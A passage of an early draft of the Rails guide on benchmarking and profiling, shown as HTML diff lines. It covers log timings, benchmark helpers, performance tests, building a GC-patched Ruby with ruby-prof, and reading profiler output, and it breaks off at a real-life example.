- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_why_benchmark_and_profile">Why Benchmark and Profile ?</a>
- <ul>
-
- <li><a href="#_what_is_the_difference_between_benchmarking_and_profiling">What is the difference between benchmarking and profiling ?</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_using_and_understanding_the_log_files">Using and understanding the log files</a>
- </li>
- <li>
- <a href="#_helper_methods">Helper methods</a>
- </li>
- <li>
- <a href="#_performance_test_cases">Performance Test Cases</a>
- <ul>
-
- <li><a href="#_modes">Modes</a></li>
-
- <li><a href="#_metrics">Metrics</a></li>
-
- <li><a href="#_preparing_ruby_and_ruby_prof">Preparing Ruby and Ruby-prof</a></li>
-
- <li><a href="#_installing_jeremy_kemper_s_ruby_prof">Installing Jeremy Kemper's ruby-prof</a></li>
-
- <li><a href="#_generating_performance_test">Generating performance test</a></li>
-
- <li><a href="#_running_tests">Running tests</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_understanding_performance_tests_outputs">Understanding Performance Tests Outputs</a>
- <ul>
-
- <li><a href="#_our_first_performance_test">Our First Performance Test</a></li>
-
- <li><a href="#_flat_files">Flat Files</a></li>
-
- <li><a href="#_graph_files">Graph Files</a></li>
-
- <li><a href="#_tree_files">Tree Files</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_getting_to_the_point_of_all_of_this">Getting to the Point of all of this</a>
- </li>
- <li>
- <a href="#_real_life_example">Real Life Example</a>
- <ul>
-
- <li><a href="#_the_setup">The setup</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_get_yourself_a_game_plan">Get Yourself a Game Plan</a>
- <ul>
-
- <li><a href="#_the_analysis_process">The Analysis Process</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_other_profiling_tools">Other Profiling Tools</a>
- <ul>
-
- <li><a href="#_httperf">httperf</a></li>
-
- <li><a href="#_rails_analyzer">Rails Analyzer</a></li>
-
- <li><a href="#_palmist">Palmist</a></li>
-
- <li><a href="#_new_relic">New Relic</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Benchmarking and Profiling Rails</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="para"><p>This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Understand the various types of benchmarking and profiling metrics
-</p>
-</li>
-<li>
-<p>
-Generate performance/benchmarking tests
-</p>
-</li>
-<li>
-<p>
-Use GC patched Ruby binary to measure memory usage and object allocation
-</p>
-</li>
-<li>
-<p>
-Understand the information provided by Rails inside the log files
-</p>
-</li>
-<li>
-<p>
-Learn about various tools facilitating benchmarking and profiling
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_why_benchmark_and_profile">1. Why Benchmark and Profile ?</h2>
-<div class="sectionbody">
-<div class="para"><p>Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application.</p></div>
-<h3 id="_what_is_the_difference_between_benchmarking_and_profiling">1.1. What is the difference between benchmarking and profiling ?</h3>
-<div class="para"><p>Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code.</p></div>
-</div>
-<h2 id="_using_and_understanding_the_log_files">2. Using and understanding the log files</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like :</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET]</span></span>
- Session ID<span style="color: #990000">:</span> BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA<span style="color: #990000">==--</span>83cff4fe0a897074a65335
- Parameters<span style="color: #990000">:</span> <span style="color: #FF0000">{</span><span style="color: #FF0000">"action"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"index"</span><span style="color: #990000">,</span> <span style="color: #FF0000">"controller"</span><span style="color: #990000">=&gt;</span><span style="color: #FF0000">"items"</span><span style="color: #FF0000">}</span>
-Rendering template within layouts<span style="color: #990000">/</span>items
-Rendering items<span style="color: #990000">/</span>index
-Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>For this section, we're only interested in the last line from that log entry:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//localhost/</span>items<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
-</div>
-<h2 id="_helper_methods">3. Helper methods</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called <tt>benchmark()</tt> in all three components.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
- project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
- project<span style="color: #990000">.</span>milestones <span style="color: #990000">&lt;&lt;</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The above code benchmarks the multiple statments enclosed inside <tt>Project.benchmark("Creating project") do..end</tt> block and prints the results inside log files. The statement inside log files will look like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Creating projectem <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>Please refer to <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for optional options to <tt>benchmark()</tt></p></div>
-<div class="para"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a> ( Note that it's a class method here ):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
- Project<span style="color: #990000">.</span>update_cached_projects
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>and <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% benchmark("Showing projects partial") do %&gt;</span>
- <span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #009900">@projects</span> <span style="color: #990000">%&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-</div>
-<h2 id="_performance_test_cases">4. Performance Test Cases</h2>
-<div class="sectionbody">
-<div class="para"><p>Rails provides a very easy to write performance test cases, which look just like the regular integration tests.</p></div>
-<div class="para"><p>If you have a look at <tt>test/performance/browsing_test.rb</tt> in a newly created Rails application:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># Profiling results for each test method are written to tmp/performance.</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> BrowsingTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is an automatically generated example performance test file, for testing performance of homepage(<em>/</em>) of the application.</p></div>
-<h3 id="_modes">4.1. Modes</h3>
-<h4 id="_benchmarking">4.1.1. Benchmarking</h4>
-<h4 id="_profiling">4.1.2. Profiling</h4>
-<h3 id="_metrics">4.2. Metrics</h3>
-<h4 id="_process_time">4.2.1. Process Time</h4>
-<div class="para"><p>CPU Cycles.</p></div>
-<h4 id="_memory">4.2.2. Memory</h4>
-<div class="para"><p>Memory taken.</p></div>
-<h4 id="_objects">4.2.3. Objects</h4>
-<div class="para"><p>Objects allocated.</p></div>
-<h4 id="_gc_runs">4.2.4. GC Runs</h4>
-<div class="para"><p>Number of times the Ruby GC was run.</p></div>
-<h4 id="_gc_time">4.2.5. GC Time</h4>
-<div class="para"><p>Time spent running the Ruby GC.</p></div>
-<h3 id="_preparing_ruby_and_ruby_prof">4.3. Preparing Ruby and Ruby-prof</h3>
-<div class="para"><p>Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory:</p></div>
-<h4 id="_compile">4.3.1. Compile</h4>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ mkdir rubygc
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ wget ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">/</span><span style="color: #993399">1.8</span>/ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ tar -xzvf ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span>
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span>
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=</span>/Users/lifo/rubygc
-<span style="color: #990000">[</span>lifo@null ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6</span>-p<span style="color: #993399">111</span><span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install
-</tt></pre></div></div>
-<h4 id="_prepare_aliases">4.3.2. Prepare aliases</h4>
-<div class="para"><p>Add the following lines in your ~/.profile for convenience:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>alias gcruby='/Users/lifo/rubygc/bin/ruby'
-alias gcrake='/Users/lifo/rubygc/bin/rake'
-alias gcgem='/Users/lifo/rubygc/bin/gem'
-alias gcirb='/Users/lifo/rubygc/bin/irb'
-alias gcrails='/Users/lifo/rubygc/bin/rails'</tt></pre>
-</div></div>
-<h4 id="_install_rubygems_and_some_basic_gems">4.3.3. Install rubygems and some basic gems</h4>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz
-[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz
-[lifo@null ~]$ cd rubygems-1.2.0
-[lifo@null rubygems-1.2.0]$ gcruby setup.rb
-[lifo@null rubygems-1.2.0]$ cd ~
-[lifo@null ~]$ gcgem install rake
-[lifo@null ~]$ gcgem install rails</tt></pre>
-</div></div>
-<h4 id="_install_mysql_gem">4.3.4. Install MySQL gem</h4>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ gcgem install mysql</tt></pre>
-</div></div>
-<div class="para"><p>If this fails, you can try to install it manually:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/
-[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config
-[lifo@null mysql-2.7]$ make &amp;&amp; make install</tt></pre>
-</div></div>
-<h3 id="_installing_jeremy_kemper_s_ruby_prof">4.4. Installing Jeremy Kemper's ruby-prof</h3>
-<div class="para"><p>We also need to install Jeremy's ruby-prof gem using our newly built ruby:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ git clone git<span style="color: #990000">:</span>//github<span style="color: #990000">.</span>com/jeremy/ruby-prof<span style="color: #990000">.</span>git
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd ruby-prof<span style="color: #990000">/</span>
-<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcrake gem
-<span style="color: #990000">[</span>lifo@null ruby-prof <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ gcgem install pkg/ruby-prof-<span style="color: #993399">0.6</span><span style="color: #990000">.</span><span style="color: #993399">1</span><span style="color: #990000">.</span>gem
-</tt></pre></div></div>
-<h3 id="_generating_performance_test">4.5. Generating performance test</h3>
-<div class="para"><p>Rails provides a simple generator for creating new performance tests:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null application <span style="color: #990000">(</span>master<span style="color: #990000">)]</span>$ script/generate performance_test homepage
-</tt></pre></div></div>
-<div class="para"><p>This will generate <tt>test/performance/homepage_test.rb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-<span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'performance_test_help'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> HomepageTest <span style="color: #990000">&lt;</span> ActionController<span style="color: #990000">::</span>PerformanceTest
- <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_homepage
- get <span style="color: #FF0000">'/'</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Which you can modify to suit your needs.</p></div>
-<h3 id="_running_tests">4.6. Running tests</h3>
-</div>
-<h2 id="_understanding_performance_tests_outputs">5. Understanding Performance Tests Outputs</h2>
-<div class="sectionbody">
-<h3 id="_our_first_performance_test">5.1. Our First Performance Test</h3>
-<div class="para"><p>So how do we profile a request.</p></div>
-<div class="para"><p>One of the things that is important to us is how long it takes to render the home page - so let's make a request to the home page. Once the request is complete, the results will be outputted in the terminal.</p></div>
-<div class="para"><p>In the terminal run</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>User profiling_tester<span style="color: #990000">]</span>$ gcruby tests<span style="color: #FF6600">/performance/</span>homepage<span style="color: #990000">.</span>rb
-</tt></pre></div></div>
-<div class="para"><p>After the tests runs for a few seconds you should see something like this.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>HomepageTest#test_homepage (19 ms warmup)
- process_time: 26 ms
- memory: 298.79 KB
- objects: 1917
-
-Finished in 2.207428 seconds.</tt></pre>
-</div></div>
-<div class="para"><p>Simple but efficient.</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Process Time refers to amount of time necessary to complete the action.
-</p>
-</li>
-<li>
-<p>
-memory is the amount of information loaded into memory
-</p>
-</li>
-<li>
-<p>
-object ??? #TODO find a good definition. Is it the amount of objects put into a ruby heap for this process?
-</p>
-</li>
-</ul></div>
-<div class="para"><p>In addition we also gain three types of itemized log files for each of these outputs. They can be found in your tmp directory of your application.</p></div>
-<div class="para"><p><strong>The Three types are</strong></p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-Flat File - A simple text file with the data laid out in a grid
-</p>
-</li>
-<li>
-<p>
-Graphical File - A html colored coded version of the simple text file with hyperlinks between the various methods. Most useful is the bolding of the main processes for each portion of the action.
-</p>
-</li>
-<li>
-<p>
-Tree File - A file output that can be use in conjunction with KCachegrind to visualize the process
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">KCachegrind is Linux only. For Mac this means you have to do a full KDE install to have it working in your OS. Which is over 3 gigs in size. For windows there is clone called wincachegrind but it is no longer actively being developed.</td>
-</tr></table>
-</div>
-<div class="para"><p>Below are examples for Flat Files and Graphical Files</p></div>
-<h3 id="_flat_files">5.2. Flat Files</h3>
-<div class="exampleblock">
-<div class="title">Example: Flat File Output Processing Time</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 0.026097</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self total self wait child calls name
- 6.41 0.06 0.04 0.00 0.02 571 Kernel#===
- 3.17 0.00 0.00 0.00 0.00 172 Hash#[]
- 2.42 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_exit
- 2.05 0.00 0.00 0.00 0.00 15 Array#each
- 1.56 0.00 0.00 0.00 0.00 6 Logger#add
- 1.55 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_enter
- 1.36 0.03 0.00 0.00 0.03 1 ActionController::Integration::Session#process
- 1.31 0.00 0.00 0.00 0.00 13 MonitorMixin#mon_release
- 1.15 0.00 0.00 0.00 0.00 8 MonitorMixin#synchronize-1
- 1.09 0.00 0.00 0.00 0.00 23 Class#new
- 1.03 0.01 0.00 0.00 0.01 5 MonitorMixin#synchronize
- 0.89 0.00 0.00 0.00 0.00 74 Hash#default
- 0.89 0.00 0.00 0.00 0.00 6 Hodel3000CompliantLogger#format_message
- 0.80 0.00 0.00 0.00 0.00 9 c
- 0.80 0.00 0.00 0.00 0.00 11 ActiveRecord::ConnectionAdapters::ConnectionHandler#retrieve_connection_pool
- 0.79 0.01 0.00 0.00 0.01 1 ActionController::Benchmarking#perform_action_without_rescue
- 0.18 0.00 0.00 0.00 0.00 17 &lt;Class::Object&gt;#allocate</tt></pre>
-</div></div>
-</div></div>
-<div class="para"><p>So what do these columns tell us:</p></div>
-<div class="ilist"><ul>
-<li>
-<p>
-%self - The percentage of time spent processing the method. This is derived from self_time/total_time
-</p>
-</li>
-<li>
-<p>
-total - The time spent in this method and its children.
-</p>
-</li>
-<li>
-<p>
-self - The time spent in this method.
-</p>
-</li>
-<li>
-<p>
-wait - Time processed was queued
-</p>
-</li>
-<li>
-<p>
-child - The time spent in this method's children.
-</p>
-</li>
-<li>
-<p>
-calls - The number of times this method was called.
-</p>
-</li>
-<li>
-<p>
-name - The name of the method.
-</p>
-</li>
-</ul></div>
-<div class="para"><p>Name can be displayed three seperate ways:
- <strong> #toplevel - The root method that calls all other methods
- </strong> MyObject#method - Example Hash#each, The class Hash is calling the method each
- * &lt;Object:MyObject&gt;#test - The &lt;&gt; characters indicate a singleton method on a singleton class. Example &lt;Class::Object&gt;#allocate</p></div>
-<div class="para"><p>Methods are sorted based on %self. Hence the ones taking the most time and resources will be at the top.</p></div>
-<div class="para"><p>So for Array#each which is calling each on the class array. We find that it processing time is 2% of the total and was called 15 times. The rest of the information is 0.00 because the process is so fast it isn't recording times less then 100 ms.</p></div>
-<div class="exampleblock">
-<div class="title">Example: Flat File Memory Output</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 509.724609</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self total self wait child calls name
- 4.62 23.57 23.57 0.00 0.00 34 String#split
- 3.95 57.66 20.13 0.00 37.53 3 &lt;Module::YAML&gt;#quick_emit
- 2.82 23.70 14.35 0.00 9.34 2 &lt;Module::YAML&gt;#quick_emit-1
- 1.37 35.87 6.96 0.00 28.91 1 ActionView::Helpers::FormTagHelper#form_tag
- 1.35 7.69 6.88 0.00 0.81 1 ActionController::HttpAuthentication::Basic::ControllerMethods#authenticate_with_http_basic
- 1.06 6.09 5.42 0.00 0.67 90 String#gsub
- 1.01 5.13 5.13 0.00 0.00 27 Array#-</tt></pre>
-</div></div>
-</div></div>
-<div class="para"><p>Very similar to the processing time format. The main difference here is that instead of calculating time we are now concerned with the amount of KB put into memory <strong>(or is it strictly into the heap) can I get clarification on this minor point?</strong></p></div>
-<div class="para"><p>So for &lt;Module::YAML&gt;#quick_emit which is singleton method on the class YAML it uses 57.66 KB in total, 23.57 through its own actions, 6.69 from actions it calls itself and that it was called twice.</p></div>
-<div class="exampleblock">
-<div class="title">Example: Flat File Objects</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 2279160
-Total: 6537.000000</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>%self total self wait child calls name
-15.16 1096.00 991.00 0.00 105.00 66 Hash#each
- 5.25 343.00 343.00 0.00 0.00 4 Mysql::Result#each_hash
- 4.74 2203.00 310.00 0.00 1893.00 42 Array#each
- 3.75 4529.00 245.00 0.00 4284.00 1 ActionView::Base::CompiledTemplates#_run_erb_47app47views47layouts47application46html46erb
- 2.00 136.00 131.00 0.00 5.00 90 String#gsub
- 1.73 113.00 113.00 0.00 0.00 34 String#split
- 1.44 111.00 94.00 0.00 17.00 31 Array#each-1</tt></pre>
-</div></div>
-</div></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt>#TODO Find correct terminology for how to describe what this is exactly profiling as in are there really 2203 array objects or 2203 pointers to array objects?.</tt></pre>
-</div></div>
-<h3 id="_graph_files">5.3. Graph Files</h3>
-<div class="para"><p>While the information gleamed from flat files is very useful we still don't know which processes each method is calling. We only know how many. This is not true for a graph file. Below is a text representation of a graph file. The actual graph file is an html entity and an example of which can be found <a href="examples/graph.html">Here</a></p></div>
-<div class="para"><p>#TODO (Handily the graph file has links both between it many processes and to the files that actually contain them for debugging.
- )</p></div>
-<div class="exampleblock">
-<div class="title">Example: Graph File</div>
-<div class="exampleblock-content">
-<div class="para"><p>Thread ID: 21277412</p></div>
-<div class="literalblock">
-<div class="content">
-<pre><tt> %total %self total self children calls Name
-/____________________________________________________________________________/
-100.00% 0.00% 8.77 0.00 8.77 1 #toplevel*
- 8.77 0.00 8.77 1/1 Object#run_primes
-/____________________________________________________________________________/
- 8.77 0.00 8.77 1/1 #toplevel
-100.00% 0.00% 8.77 0.00 8.77 1 Object#run_primes*
- 0.02 0.00 0.02 1/1 Object#make_random_array
- 2.09 0.00 2.09 1/1 Object#find_largest
- 6.66 0.00 6.66 1/1 Object#find_primes
-/____________________________________________________________________________/
- 0.02 0.02 0.00 1/1 Object#make_random_array
-0.18% 0.18% 0.02 0.02 0.00 1 Array#each_index
- 0.00 0.00 0.00 500/500 Kernel.rand
- 0.00 0.00 0.00 500/501 Array#[]=
-/____________________________________________________________________________/</tt></pre>
-</div></div>
-</div></div>
-<div class="para"><p>As you can see the calls have been separated into slices, no longer is the order determined by process time but instead from hierarchy. Each slice profiles a primary entry, with the primary entry's parents being shown above itself and it's children found below. A primary entry can be ascertained by it having values in the %total and %self columns. Here the main entry here have been bolded for connivence.</p></div>
-<div class="para"><p>So if we look at the last slice. The primary entry would be Array#each_index. It takes 0.18% of the total process time and it is only called once. It is called from Object#make_random_array which is only called once. It's children are Kernal.rand which is called by it all 500 its times that it was call in this action and Arry#[]= which was called 500 times by Array#each_index and once by some other entry.</p></div>
-<h3 id="_tree_files">5.4. Tree Files</h3>
-<div class="para"><p>It's pointless trying to represent a tree file textually so here's a few pretty pictures of it's usefulness</p></div>
-<div class="para"><div class="title">KCachegrind Graph</div><p><span class="image">
-<img src="images/kgraph.png" alt="Graph created by KCachegrind" title="Graph created by KCachegrind" />
-</span></p></div>
-<div class="para"><div class="title">KCachegrind List</div><p><span class="image">
-<img src="images/klist.png" alt="List created by KCachegrind" title="List created by KCachegrind" />
-</span></p></div>
-<div class="para"><p>#TODO Add a bit more information to this.</p></div>
-</div>
-<h2 id="_getting_to_the_point_of_all_of_this">6. Getting to the Point of all of this</h2>
-<div class="sectionbody">
-<div class="para"><p>Now I know all of this is a bit dry and academic. But it's a very powerful tool when you know how to leverage it properly. Which we are going to take a look at in our next section</p></div>
-</div>
-<h2 id="_real_life_example">7. Real Life Example</h2>
-<div class="sectionbody">
-<h3 id="_the_setup">7.1. The setup</h3>
-<div class="para"><p>So I have been building this application for the last month and feel pretty good about the ruby code. I'm readying it for beta testers when I discover to my shock that with less then twenty people it starts to crash. It's a pretty simple Ecommerce site so I'm very confused by what I'm seeing. On running looking through my log files I find to my shock that the lowest time for a page run is running around 240 ms. My database finds aren't the problems so I'm lost as to what is happening to cause all this. Lets run a benchmark.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
